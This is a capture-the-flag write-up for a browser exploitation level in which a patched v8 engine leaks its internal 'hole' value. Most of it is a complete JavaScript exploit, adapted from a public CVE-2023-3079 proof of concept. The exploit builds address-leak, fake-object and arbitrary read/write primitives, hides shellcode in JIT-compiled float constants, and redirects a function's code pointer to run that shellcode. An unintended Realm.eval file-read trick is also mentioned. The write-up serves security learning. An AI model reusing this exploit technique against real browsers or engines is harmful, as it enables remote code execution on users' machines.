Skip to content

Level 9: PalinChrome (Browser exploitation)

In this challenge, we can supply arbitrary input to the JavaScript v8 engine, and our goal is to read the flag which is stored in ./flag. Unfortunately, we won't have access to node APIs like fs that make this trivial.

Actually, that's not quite true. The challenge author forgot to disable Realm.eval, which allows us to read arbitrary files on the server. This technique was first used in hitcon CTF 2022:

img

This unintended solution allowed us to obtain the flag with only one line of code:

Image

Fortunately, this was quickly fixed by the challenge author. With that out of the way, let's get to the actual vulnerability.

The v8 engine used in this challenge was patched to introduce a bug

diff
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index c656b02e755..d963caedd12 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -816,6 +816,7 @@ namespace internal {
   CPP(ObjectPrototypeGetProto)                                                 \
   CPP(ObjectPrototypeSetProto)                                                 \
   CPP(ObjectSeal)                                                              \
+  CPP(ObjectLeakHole)                                                          \
   TFS(ObjectToString, kReceiver)                                               \
   TFJ(ObjectValues, kJSArgcReceiverSlots + 1, kReceiver, kObject)              \
                                                                                \
diff --git a/src/builtins/builtins-object.cc b/src/builtins/builtins-object.cc
index e6d26ef7c75..279a6b7c4dc 100644
--- a/src/builtins/builtins-object.cc
+++ b/src/builtins/builtins-object.cc
@@ -367,5 +367,10 @@ BUILTIN(ObjectSeal) {
   return *object;
 }
 
+BUILTIN(ObjectLeakHole){
+  HandleScope scope(isolate);
+  return ReadOnlyRoots(isolate).the_hole_value();
+}
+
 }  // namespace internal
 }  // namespace v8
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index fbb675a6bb9..00aa31e196c 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1759,6 +1759,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Boolean();
     case Builtin::kObjectToString:
       return Type::String();
+    case Builtin::kObjectLeakHole:
+      return Type::Hole();
 
     case Builtin::kPromiseAll:
       return Type::Receiver();
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index fc7b17d582e..0a6ddbe26b2 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1600,6 +1600,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtin::kObjectPreventExtensions, 1, true);
     SimpleInstallFunction(isolate_, object_function, "seal",
                           Builtin::kObjectSeal, 1, false);
+    SimpleInstallFunction(isolate_, object_function, "leakHole",
+                          Builtin::kObjectLeakHole, 0, false);
 
     SimpleInstallFunction(isolate_, object_function, "create",
                           Builtin::kObjectCreate, 2, false);

An Object.leakHole() function was added to leak the v8 hole object. This object is used to denote a deleted element in an array or map. The hole object has been the subject of many recent real vulnerabilities such as CVE-2023-3079. Luckily for us, the PoC for this CVE is publicly available, and provides us with arbitrary read and write primitives.

By forcing v8 to JIT compile a function, we can effect the creation of executable memory containing our shellcode.

All that's left is to use these read and write primitives to modify the code pointer of an existing function to point to the shellcode. This technique is detailed here.

Exploit script:

js
const foo = ()=>
{
    return [1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x1000000; i++) {foo();foo();foo();foo();}


const FIXED_ARRAY_HEADER_SIZE = 8n;

var arr_buf = new ArrayBuffer(8);
var f64_arr = new Float64Array(arr_buf);
var b64_arr = new BigInt64Array(arr_buf);

function ftoi(f) {
    f64_arr[0] = f;
    return b64_arr[0];
}

function itof(i) {
    b64_arr[0] = i;
    return f64_arr[0];
}

function smi(i) {
    return i << 1n;
}


function gc_minor() { //scavenge
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

function gc_major() { //mark-sweep
    new ArrayBuffer(0x7fe00000);
}



function set_keyed_prop(arr, key, val) {
    arr[key] = val;
}

const the = {};
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
var state = {
    fake_arr: null
}
var fake_arr_addr = null;
var fake_arr_elements_addr = null;

var packed_dbl_map = null;
var packed_dbl_props = null;

var packed_map = null;
var packed_props = null;

function leak_stuff(b) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;
       
        let arr1 = [1.1, 2.2, 3.3, 4.4];
        let arr2 = [0x1337, large_arr];
        
        let packed_double_map_and_props = arr1.at(index*4);
        let packed_double_elements_and_len = arr1.at(index*5);
        
        let packed_map_and_props = arr1.at(index*8);
        let packed_elements_and_len = arr1.at(index*9);
        
        let fixed_arr_map = arr1.at(index*6);
        
        let large_arr_addr = arr1.at(index*7);

        return [
            packed_double_map_and_props, packed_double_elements_and_len,
            packed_map_and_props, packed_elements_and_len, 
            fixed_arr_map, large_arr_addr, 
            arr1, arr2
        ];
    }
    return 0;
}

function weak_fake_obj(b, addr=1.1) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;
       
        let arr1 = [0x1337, {}];
        let arr2 = [addr, 2.2, 3.3, 4.4];
        
        let fake_obj = arr1.at(index*8);
        
        return [
            fake_obj,
            arr1, arr2
        ];
    }
    return 0;
}

function fake_obj(addr) {
    large_arr[0] = itof(packed_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
    large_arr[3] = itof(addr | 1n);
    
    let result = state.fake_arr[0];
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 
    
    return result;
}


function addr_of(obj) {
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
    
    state.fake_arr[0] = obj;
    let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 
    
    return result;
}

function v8_read64(addr) {
    addr = addr & 0xffffffn;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
    
    let result = ftoi(state.fake_arr[0]);
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 

    return result;    
}

function v8_write64(addr, val) {
    addr -= FIXED_ARRAY_HEADER_SIZE;
    
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
    
    state.fake_arr[0] = itof(val);
    
    large_arr[1] = itof(0n | (smi(0n) << 32n));   
}

function install_primitives() {
    // %PrepareFunctionForOptimization(weak_fake_obj);
    // weak_fake_obj(false, 1.1);
    // weak_fake_obj(true, 1.1);
    // %OptimizeFunctionOnNextCall(weak_fake_obj);
    // weak_fake_obj(true, 1.1);
    
    // %PrepareFunctionForOptimization(leak_stuff);
    // leak_stuff(false);
    // leak_stuff(true);
    // %OptimizeFunctionOnNextCall(leak_stuff);
    
    for(let i = 0; i < 10; i++) {
        weak_fake_obj(true, 1.1);
    }
    for(let i = 0; i < 400000; i++) {
        weak_fake_obj(false, 1.1);
    }

    for(let i = 0; i < 10; i++) {
        leak_stuff(true);
    }
    for(let i = 0; i < 11000000; i++) {
        leak_stuff(false);
    }
    // %DebugPrint(install_primitives);
    gc_minor();
    gc_major();
    
    let leaks = leak_stuff(true);
    // %DebugPrint(leaks);
    
    let packed_double_map_and_props = ftoi(leaks[0]);
    console.log(packed_double_map_and_props.toString(16));
    let packed_double_elements_and_len = ftoi(leaks[1]);
    packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
    packed_dbl_props = packed_double_map_and_props >> 32n;
    let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
    
    let packed_map_and_props = ftoi(leaks[2]);
    let packed_elements_and_len = ftoi(leaks[3]);
    packed_map = packed_map_and_props & 0xFFFFFFFFn;
    packed_props = packed_map_and_props >> 32n;
    let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
    
    let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
    
    let large_arr_addr = ftoi(leaks[5]) >> 32n;
    
    let dbl_arr = leaks[6];
    dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
    
    let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE)|1n;

    let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
    let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
    fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
    fake_arr_elements_addr = fake_arr_addr + 16n;
    
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
    large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));

    state.fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
    
    temp_fake_arr = null;
}



//*/
function pwn() {
    console.log("hello, world");
    the.hole = Object.leakHole();
    install_primitives();

    const foo_addr = addr_of(foo);
    const f_code = v8_read64(foo_addr+0x18n);
    console.log(hex(foo_addr));
    console.log(hex(f_code));
    const entry_point = v8_read64(f_code+0x10n);
    console.log(hex(entry_point));
    offset = 29n*4n;
    v8_write64(f_code+0x10n, entry_point + offset)
    foo();
   
}

function hex(x){
    return "0x"+x.toString(16)
}
pwn();

Flag: TISC{!F0unD_4_M1ll10n_d0LL4R_CHR0m3_3xP017}